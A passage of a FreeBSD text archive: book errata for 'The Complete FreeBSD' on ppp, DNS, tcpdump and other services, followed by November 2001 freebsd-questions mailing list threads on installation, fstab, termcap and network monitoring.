Busarow for bringing this to my attention. Page 364, middle of page ________________________ Change the text from: The names MYADDR and HISADDR are keywords which represent the addresses at each end of the link. They must be written as shown, though they may be in lower case. to The names MYADDR and HISADDR are keywords which represent the addresses at each end of the link. They must be written as shown, though newer versions of ppp allow you to write them in lower case. Thanks to Mark S. Reichman for this correction. Page 368 ________ Replace the paragraph after the second example with: In FreeBSD version 3.0 and later, specify the options PPP_BSDCOMP and Page 18 Errata and addenda for the Complete FreeBSD, second edition PPP_DEFLATE to enable two kinds of compression. You'll also need to specify the corresponding option in Kernel PPP's configuration file. These options are not available in FreeBSD version 2. Thanks to Brian Somers for this information. Page 397 ________ In the section ``Nicknames'', the example should read: www IN CNAME freebie ftp IN CNAME presto In other words, there should be a space between CNAME and the system name. Page 422 ________ Replace the text above the example with: tcpdump is a program which monitors a network interface and displays selected information which passes through it. It uses the Berkeley Packet Filter (bpf), an optional component of the kernel. It is not included in the GENERIC kernel: see page 257 for information on how to configure it. If you don't configure the Berkeley Packet Filter, you will get a message like tcpdump: /dev/bpf0: device not configured If you forget to create the devices for bpf, you will get a message like: tcpdump: /dev/bpf0: No such file or directory Since tcpdump poses a potential security problem, you must be root in order to run it. The simplest way to run it is without any parameters. This will cause tcpdump to monitor and display all traffic on the first active network interface, normally Ethernet: Thanks to Christopher Raven for drawing this to my attention. Page 19 Install ports when installing the system Page 423 ________ The description at the top of the page incorrectly uses the term IP address instead of Ethernet address. In addition, a page number reference is incorrect. Replace the paragraph with: o Line 1 shows an ARP request: system presto is looking for the Ethernet address of wait. It would appear that wait is currently not responding, since there is no reply. o Line 2 is not an IP message at all. tcpdump shows the Ethernet addresses and the beginning of the packet. We don't consider this kind of request in this book. o Line 3 is a broadcast ntp message. We looked at ntp on page 160. o Line 4 is another attempt by presto to find the IP address of wait. o Line 5 is a broadcast message from bumble on the rwho port, giving information about its current load averages and how long it has been up. See the man page for rwho on page 1167 for more information. o Line 6 is from a TCP connection between port 6000 on freebie and port 1089 on presto. It is sending 384 bytes (with the sequence numbers 536925467 to 536925851; see page 305), and is acknowledging that the last byte it received from presto had the sequence number 325114346. The window size is 17280. o Line 7 is another ARP request. presto is looking for the Ethernet address of freebie. How can that happen? We've just seen that they have a TCP connection. In fact, ARP information expires after 20 minutes. It's quite possible that all connections between presto and freebie have been dormant for this period, so presto needs to find freebie's IP address again. o Line 8 is the ARP reply from freebie to presto giving its Ethernet address. o Line 9 shows a reply from presto on the connection to freebie that we saw on line 6. It acknowledges the data up to sequence number 536925851, but doesn't send any itself. o Line 10 shows another 448 bytes of data from freebie to presto, and acknowledging the same sequence number from presto as in line 6. Thanks to Sergei S. Laskavy for drawing this to my Page 20 Errata and addenda for the Complete FreeBSD, second edition attention. Page 450: anonymous ftp _______________________ Replace the paragraph starting with Create a user ftp: Create a user ftp, with the anonymous ftp directory as the home directory and the shell /dev/null. Using /dev/null as the shell makes it impossible to log in as user ftp, but does not interfere with the use of anonymous ftp. ftp can be a member of group bin, or you can create a new group ftp by adding the group to /etc/group. See page 138 for more details of adding users, and the man page on page 805 for adding groups. Thanks to Mark S. Reichman for drawing this to my attention. Page 466, before the ps example _______________________________ Add another bullet: o Finally, you may find it convenient to let some other system handle all your mail delivery for you: you just send anything you can't deliver locally to this other host, which sendmail calls a smart host. This is particularly convenient if you send your mail with UUCP. To tell sendmail to use a smart host (in our case, mail.example.net), find the following line in sendmail.cf: # "Smart" relay host (may be null) DS Change it to: # "Smart" relay host (may be null) DSmail.example.net Page 478, ``Running Apache'' ____________________________ The text describes the location of the server as /usr/local/www/server/httpd. This appears to depend on where you get the port from. Some people report the file being at the more likely location /usr/local/sbin/httpd (though note the Page 21 Install ports when installing the system directory sbin, not bin). Check both locations if you run into trouble. Thanks to Sue Blake for this information. Page 492 ________ Replace references to nmdb with nmbd. Page 493 ________ Replace the last paragraph on the page with: socket options is hardly mentioned in the documentation, but it's very important: many Microsoft implementations of TCP/IP are inefficient and establish a new TCP more often than necessary. Select the socket options TCP_NODELAY and IPTOS_LOWDELAY, which can speed up the response time of such applications by over 95%. Page 22 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 17: 4:24 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail1.toronto.istar.net (mail1.toronto.istar.net [209.89.75.17]) by hub.freebsd.org (Postfix) with ESMTP id 0558037B417 for ; Fri, 23 Nov 2001 17:04:22 -0800 (PST) Received: from d226-39-102.home.cgocable.net ([24.226.39.102] helo=x1-6-00-50-ba-de-36-33.kico1.on.home.com) by mail1.toronto.istar.net with esmtp (Exim 2.02 #1) id 167RF5-0000LY-00; Fri, 23 Nov 2001 20:04:27 -0500 Received: from localhost (genisis@localhost) by x1-6-00-50-ba-de-36-33.kico1.on.home.com (8.11.6/8.11.6) with ESMTP id fAO1ArF53453; Fri, 23 Nov 2001 20:10:58 -0500 (EST) (envelope-from genisis@istar.ca) X-Authentication-Warning: x1-6-00-50-ba-de-36-33.kico1.on.home.com: genisis owned process doing -bs Date: Fri, 23 Nov 2001 20:10:32 -0500 (EST) From: Dru X-X-Sender: To: Cc: Subject: Re: User-PPP Problems In-Reply-To: <20011124005813.48596.qmail@ampa.pair.com> Message-ID: <20011123200800.N47988-100000@x1-6-00-50-ba-de-36-33.kico1.on.home.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24 Nov 2001 mikeirw@elementalspace.com wrote: > On 11-23-2001 07:27 pm, you wrote: > > Just to clarify, is your problem that you can't do anything (surf, > email, > > etc.) once you've connected, or just that you can't ping or tracert? > Also, > > once you've connected what does your prompt look like: PPP, PPp, Ppp, > etc? > > No, I can't do anything at all - no surf, email, ftp, or anything. It > shows PPP. Thanks. Better send the ppp.log, then. Dru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 17:12:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from imo-r10.mx.aol.com (imo-r10.mx.aol.com [152.163.225.106]) by hub.freebsd.org (Postfix) with ESMTP id BC33537B416 for ; Fri, 23 Nov 2001 17:12:27 -0800 (PST) Received: from Philmem@aol.com by imo-r10.mx.aol.com (mail_out_v31_r1.9.) id n.11c.7ef7faf (3943) for ; Fri, 23 Nov 2001 20:12:24 -0500 (EST) From: Philmem@aol.com Message-ID: <11c.7ef7faf.29304df8@aol.com> Date: Fri, 23 Nov 2001 20:12:24 EST Subject: Installation To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 7.0 for Windows US sub 118 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I recently purchased freebsd version 4.3 and have been unable to install. Perhaps there is a compatibility problem with my system which I describe below: I am using Windows ME which partitions my hard drive into drives C & D. In addition I have the following: a ZIP 250 drive, drive E a DVD/CD-ROM drive F a CD-RW drive G The companion/installation CD that came with the v4.3 package does not result in any usable executable file except the uninstall file for freebsd. Any thoughts? philmem@aol.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 17:28: 3 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bessel.tekniikka.turkuamk.fi (bessel.tekniikka.turkuamk.fi [193.166.133.10]) by hub.freebsd.org (Postfix) with ESMTP id E099D37B418 for ; Fri, 23 Nov 2001 17:27:59 -0800 (PST) Received: from localhost (eyurtese@localhost) by bessel.tekniikka.turkuamk.fi (8.9.2/8.9.2) with ESMTP id DAA36184; Sat, 24 Nov 2001 03:27:53 +0200 Date: Sat, 24 Nov 2001 03:27:43 +0200 (WET) From: Evren Yurtesen To: Kris Kennaway Cc: freebsd-questions@FreeBSD.ORG Subject: Re:(2) ntop weirdness! In-Reply-To: <20011123140207.A4980@xor.obsecurity.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I get lots of messages with 5555 how do I interpret this now? 03:30:13.533299 0:50:55:55:55:55 0:90:6f:37:70:0 5555 86: 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 5555 On Fri, 23 Nov 2001, Kris Kennaway wrote: > On Fri, Nov 23, 2001 at 11:26:06AM +0200, Evren Yurtesen wrote: > > when I run ntop, I see that I send many mb of data to some MAC addresses > > in the network but I dont know what data it is and why the hell I send > > that data, how can I know from which process data is leaving and what kind > > of data it is etc? > > Use tcpdump > > Kris > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 17:31:19 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id A0C7D37B416 for ; Fri, 23 Nov 2001 17:31:16 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 484B766B27; Fri, 23 Nov 2001 17:31:12 -0800 (PST) Date: Fri, 23 Nov 2001 17:31:12 -0800 From: Kris Kennaway To: Evren Yurtesen Cc: Kris Kennaway , freebsd-questions@FreeBSD.ORG Subject: Re: (2) ntop weirdness! Message-ID: <20011123173112.A7237@xor.obsecurity.org> References: <20011123140207.A4980@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="FL5UXtIhxfXey3p5" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from eyurtese@turkuamk.fi on Sat, Nov 24, 2001 at 03:27:43AM +0200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --FL5UXtIhxfXey3p5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Nov 24, 2001 at 03:27:43AM +0200, Evren Yurtesen wrote: > I get lots of messages with 5555 > how do I interpret this now? >=20 > 03:30:13.533299 0:50:55:55:55:55 0:90:6f:37:70:0 5555 86:=20 > 5555 5555 5555 5555 5555 5555 5555 5555 > 5555 5555 5555 5555 5555 5555 5555 5555 > 5555 5555 5555 5555 5555 5555 5555 5555 > 5555 5555 5555 5555 5555 5555 5555 5555 > 5555 5555 5555 5555 You're going to have to learn a lot more about how networks work, I think. I suggest you do some research on your own. Kris --FL5UXtIhxfXey3p5 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/vhfWry0BWjoQKURAncXAKDhb09sOVihf5MYyxrapXAyq8JS8QCgvSoN iIOlo39bkk7o8bf86zfjXlA= =Gab6 -----END PGP SIGNATURE----- --FL5UXtIhxfXey3p5-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 17:41: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from IMGate1.cshore.com (imgate1.cshore.com [63.237.136.14]) by hub.freebsd.org (Postfix) with ESMTP id E01C237B405 for ; Fri, 23 Nov 2001 17:40:59 -0800 (PST) Received: from there (dialup-uu-dynamic27.cshore.com [63.112.158.27]) by IMGate1.cshore.com (Postfix) with SMTP id 32B4C23FCD; Fri, 23 Nov 2001 21:05:37 -0500 (EST) Content-Type: text/plain; charset="iso-8859-1" From: Matthew Graybosch Reply-To: matthew@starbreaker.net Organization: starbreaker.net Message-Id: <200111232041.59737@starbreaker.net> To: Philmem@aol.com Subject: Re: Installation Date: Fri, 23 Nov 2001 20:48:23 -0500 X-Mailer: KMail [version 1.3] References: <11c.7ef7faf.29304df8@aol.com> In-Reply-To: <11c.7ef7faf.29304df8@aol.com> Cc: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Friday 23 November 2001 20:12, you wrote: > I recently purchased freebsd version 4.3 and have been unable to > install. Perhaps there is a compatibility problem with my system > which I describe below: > I am using Windows ME which partitions my hard drive into drives C > & D. In addition I have the following: > a ZIP 250 drive, drive E > a DVD/CD-ROM drive F > a CD-RW drive G > The companion/installation CD that came with the v4.3 package does > not result in any usable executable file except the uninstall file > for freebsd. Any thoughts? Well, to start with you have to consider that FreeBSD can't be installed *on top of* Windows. FreeBSD needs its own disk partition, one that you can boot from, as it's an operating system all its own. Now, you can either use PartitionMagic or fips to resize one of your partitions, so that you have a gig free for FreeBSD, or you can take the plunge and wipe out Windows. Wiping out Windows is a big leap, but one I consider well worth it, having done it myself with Linux and never having a reason to look back. Make sure to read the FreeBSD Handbook first. I'm serious. It's essential that you, as a newbie, read the FreeBSD Handbook and *understand it* before you try to install the OS, as it covers installation and basic configuration: X Window, PPP, kernel configs, networking, sound, etc. Also, you might not be able to use AOL in FreeBSD, so if you dump Windows you might have to switch ISPs as well. Think carefully, read carefully, and good luck. - -- Matthew Graybosch http://www.starbreaker.net GnuPG Key ID: 0x7D488659 "Sex, Unix, and rock 'n roll" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/vxncCiK1X1IhlkRAhMCAKDj1S6e20pElJ1nPPpfRQY5YkIlsgCfZ1Hu Nw7UODDRF+cqLFbueomoyFA= =d0OD -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 18: 1:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smnolde.com (rr-163-54-1.atl.mediaone.net [24.163.54.1]) by hub.freebsd.org (Postfix) with ESMTP id B71CD37B416 for ; Fri, 23 Nov 2001 18:01:49 -0800 (PST) Received: from bsd.smnolde.com ([192.168.10.7] helo=bsd) by smnolde.com with esmtp (Exim 3.30 #1) id 167S8b-000C4O-00; Fri, 23 Nov 2001 21:01:49 -0500 Date: Fri, 23 Nov 2001 21:01:47 -0500 (EST) From: Scott Nolde To: Chip Cc: Subject: Re: error in fstab? where? In-Reply-To: <01112316001302.76143@chip.wiegand.org> Message-ID: <20011123210109.O66190-100000@bsd.smnolde.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Try /dev/acd0c for your cdrom /dev/acd0c /cdrom cd9660 ro,noauto 0 0 - Scott smacked into the keyboard previously by owner-freebsd-questions@FreeBSD.ORG: >Date: Fri, 23 Nov 2001 16:00:13 -0800 >From: Chip >To: freebsd-questions@FreeBSD.ORG >Subject: error in fstab? where? > >when I mount my cd drive I get the following error: > >chip# mount /cdrom >fstab: /etc/fstab:1: Inappropriate file type or format > >yet it does get mounted: > >chip# mount >/dev/ad0s1a on / (ufs, local) >/dev/ad0s1e on /usr (ufs, NFS exported, local) >/dev/ad1s1 on /usr2 (ufs, local) >procfs on /proc (procfs, local) >192.168.1.14:/usr on /usr2/apache (nfs) >/dev/acd0a on /cdrom (cd9660, local, read-only) > >Here's my fstab: > >chip# cat fstab >Device Mountpoint FStype Options Dump Pass# >/dev/ad0s1b none swap sw 0 0 >/dev/ad0s1a / ufs rw 1 1 >/dev/ad0s1e /usr ufs rw 2 2 >/dev/ad1s1 /usr2 ufs rw 2 2 >/dev/acd0a /cdrom cd9660 ro,noauto 0 0 >192.168.1.14:/usr /usr2/apache nfs rw 0 0 >/dev/fd0a /floppy msdos rw,noauto 0 0 >proc /proc procfs rw 0 0 > >So, question is - what is inappropriate about the above cdrom settings? >(The same exact things happens when mounting the floppy) >FWIW - I used the info in the freebsd.org manual on setting the mounts to be >useable by the user (me) as well as root. The above messages are from trying >to mount as root. >-- >Chip W. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > Scott Nolde GPG Key 0xD869AB48 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 18:26:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp2.mx.pitdc1.stargate.net (smtp2.mx.pitdc1.stargate.net [206.210.69.142]) by hub.freebsd.org (Postfix) with SMTP id B1E5237B416 for ; Fri, 23 Nov 2001 18:26:21 -0800 (PST) Received: (qmail 1341 invoked from network); 24 Nov 2001 02:25:41 -0000 Received: from unknown (HELO localhost) (63.48.184.145) by smtp2.mx.pitdc1.stargate.net with SMTP; 24 Nov 2001 02:25:41 -0000 X-Sender: kevand@stargate.net From: Kevin Andersen To: "Mortgage Borrower" Date: Fri, 23 Nov 2001 18:37:51 -0800 Subject: Need a Home Loan? Let Us Help! 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To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I am trying to use Eterm. When I attempt to use vi it gives me the following error: "vi: No terminal databse found" It appears that there is a problem accessing the /etc/termcap file becaue when the program starts up it gives the following error: "csh: cannot open /etc/termcap. csh: using dumb terminal settings." I think if I fix the file access problem, the other problem will not occur, but am unsure of how to do it. Any suggestions??? Thanks in advance, Thomas Kersten __________________________________________________ Do You Yahoo!? Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. http://geocities.yahoo.com/ps/info1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 18:35:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54]) by hub.freebsd.org (Postfix) with ESMTP id 5C40137B417 for ; Fri, 23 Nov 2001 18:35:46 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by mail7.carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 21:35:35 -0500 Message-Id: <5.1.0.14.0.20011123215832.02f4cad0@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 21:59:34 -0500 To: "Anthony Atkielski" From: Jim Conner Subject: Re: Odd messages at startup after deleting device drivers Cc: "FreeBSD Questions" In-Reply-To: <05da01c1747a$6d1bdfe0$0a00000a@atkielski.com> References: <5.1.0.14.0.20011123190656.02e32cf8@mail.enterit.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 00:56 11.24.2001 +0100, Anthony Atkielski wrote: >Jim writes: > > > cd /boot > > edit kernel.conf > >Thanks. Where in the handbook is the purpose of this file mentioned? I did a >search on www.freebsd.org and found only one hit, and only because it was >shown >in a listing of boot messages. Hmm. That is a very good question. Perhaps someone else here knows because this is something I happened upon myself a long time ago when I was messin around with my new kernel. >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 18:41:58 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts11-srv.bellnexxia.net (tomts11.bellnexxia.net [209.226.175.55]) by hub.freebsd.org (Postfix) with ESMTP id 893C037B405 for ; Fri, 23 Nov 2001 18:41:55 -0800 (PST) Received: from xena.gsicomp.on.ca ([199.243.149.34]) by tomts11-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011124024154.JBJP24249.tomts11-srv.bellnexxia.net@xena.gsicomp.on.ca>; Fri, 23 Nov 2001 21:41:54 -0500 Received: from hermes (hermes.gsicomp.on.ca [192.168.0.18]) by xena.gsicomp.on.ca (8.11.1/8.11.1) with SMTP id fAO2XfW44642; Fri, 23 Nov 2001 21:33:41 -0500 (EST) (envelope-from matt@gsicomp.on.ca) Message-ID: <004a01c17491$93544d20$1200a8c0@gsicomp.on.ca> From: "Matthew Emmerton" To: "Anthony Atkielski" , "Jim Conner" Cc: "FreeBSD Questions" References: <5.1.0.14.0.20011123190656.02e32cf8@mail.enterit.com> <5.1.0.14.0.20011123215832.02f4cad0@mail.enterit.com> Subject: Re: Odd messages at startup after deleting device drivers Date: Fri, 23 Nov 2001 21:41:51 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4807.1700 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > At 00:56 11.24.2001 +0100, Anthony Atkielski wrote: > >Jim writes: > > > > > cd /boot > > > edit kernel.conf > > > >Thanks. Where in the handbook is the purpose of this file mentioned? I did a > >search on www.freebsd.org and found only one hit, and only because it was > >shown > >in a listing of boot messages. > > Hmm. That is a very good question. Perhaps someone else here knows > because this is something I happened upon myself a long time ago when I was > messin around with my new kernel. Some network cards, such as those using the 'ed' driver, have IRQ, port and memory addresses specified in the kernel configuration file. If you should happen to replace a failed card with a replacement, that has different settings, you can just edit a few lines in /boot/kernel.conf rather than rebuilding the entire kernel with the new settings. -- Matt Emmerton To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 18:48:30 2001 Delivered-To: freebsd-questions@freebsd.org Received: from Mail6.Carolina.rr.com (fe6.southeast.rr.com [24.93.67.53]) by hub.freebsd.org (Postfix) with ESMTP id 4B6E537B405 for ; Fri, 23 Nov 2001 18:48:27 -0800 (PST) Received: from snafu.enterit.com ([66.57.159.198]) by Mail6.Carolina.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 23 Nov 2001 21:48:26 -0500 Message-Id: <5.1.0.14.0.20011123221027.02f4c8b8@mail.enterit.com> X-Sender: jconner@enterit.com@mail.enterit.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Fri, 23 Nov 2001 22:12:23 -0500 To: Tom Kersten From: Jim Conner Subject: Re: vi: No Terminal Database???? Cc: freebsd-questions@freebsd.org In-Reply-To: <20011124023133.82891.qmail@web10002.mail.yahoo.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 18:31 11.23.2001 -0800, Tom Kersten wrote: >Hello, > >I am trying to use Eterm. When I attempt to use vi it >gives me the following error: >"vi: No terminal databse found" >It appears that there is a problem accessing the >/etc/termcap file becaue when the program starts up it >gives the following error: >"csh: cannot open /etc/termcap. >csh: using dumb terminal settings." Make sure that your TERM is set. Since FreeBSD defaults to cons25 make sure that Eterm and vi are both set to understand what cons25 is (which will probably actually result in your termcap being correct but the elusive termcap file has *always* given me a headache). Try setting your TERM to something generic like vt100 and then see how things react. export TERM=vt100 (in sh and friends) setenv TERM vt100 (in csh and friends) >I think if I fix the file access problem, the other >problem will not occur, but am unsure of how to do it. >Any suggestions??? > >Thanks in advance, > >Thomas Kersten > >__________________________________________________ >Do You Yahoo!? >Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month. >http://geocities.yahoo.com/ps/info1 > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message - Jim -~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- http://www.perlmonks.org/index.pl?node_id=67861&lastnode_id=67861 -----BEGIN PERL GEEK CODE BLOCK----- ------BEGIN GEEK CODE BLOCK------ Version: 0.01 Version: 3.12 P++>*@$c?P6?R+++>++++@$M GIT/CM/J d++(--) s++:++ a- >++++$O!MA->++++E!> PU-->+++BD C++++(+) UB++++$L++++$S++++$ $C-@D!>++++(-)$S++++@$X?WP+>++++MO!>+++ P++(+)>+++++ L+++(++++)>+++++$ !E* +PP+++>++++n-CO?PO!o >++++G W++(+++) N+ o !K w--- PS---(-)@ PE >*(!)$A-->++++@$Ee---(-)Ev++uL++>*@$uB+ Y+>+++ PGP t+(+++)>+++@ 5- X++ R@ >*@$uS+>*@$uH+uo+w-@$m! tv+ b? DI-(+++) D+++(++) G(++++) ------END PERL GEEK CODE BLOCK------ ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 19: 7:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from server.dambiec.com (CPE-61-9-148-152.vic.bigpond.net.au [61.9.148.152]) by hub.freebsd.org (Postfix) with SMTP id 0FFA037B405 for ; Fri, 23 Nov 2001 19:07:53 -0800 (PST) Received: (qmail 693 invoked from network); 24 Nov 2001 03:11:03 -0000 Received: from karun.lan (HELO karunwin2k) (10.0.1.3) by server.dambiec.com with SMTP; 24 Nov 2001 03:11:03 -0000 Message-ID: <000a01c17441$708a69a0$0301000a@karunwin2k> From: "Karun" To: "Evren Yurtesen" , "Kris Kennaway" Cc: References: Subject: Re: Re:(2) ntop weirdness! Date: Sat, 24 Nov 2001 03:08:15 +1000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Most likely the data being sent to that MAC address is to your gateway/router on your network. ----- Original Message ----- From: "Evren Yurtesen" To: "Kris Kennaway" Cc: Sent: Saturday, November 24, 2001 11:27 AM Subject: Re:(2) ntop weirdness! > I get lots of messages with 5555 > how do I interpret this now? > > 03:30:13.533299 0:50:55:55:55:55 0:90:6f:37:70:0 5555 86: > 5555 5555 5555 5555 5555 5555 5555 5555 > 5555 5555 5555 5555 5555 5555 5555 5555 > 5555 5555 5555 5555 5555 5555 5555 5555 > 5555 5555 5555 5555 5555 5555 5555 5555 > 5555 5555 5555 5555 > > On Fri, 23 Nov 2001, Kris Kennaway wrote: > > > On Fri, Nov 23, 2001 at 11:26:06AM +0200, Evren Yurtesen wrote: > > > when I run ntop, I see that I send many mb of data to some MAC addresses > > > in the network but I dont know what data it is and why the hell I send > > > that data, how can I know from which process data is leaving and what kind > > > of data it is etc? > > > > Use tcpdump > > > > Kris > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Fri Nov 23 19:28: 5 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f43.law11.hotmail.com [64.4.17.43]) by hub.freebsd.org (Postfix) with ESMTP id 1802F37B416 for ; Fri, 23 Nov 2001 19:28:04 -0800 (PST) 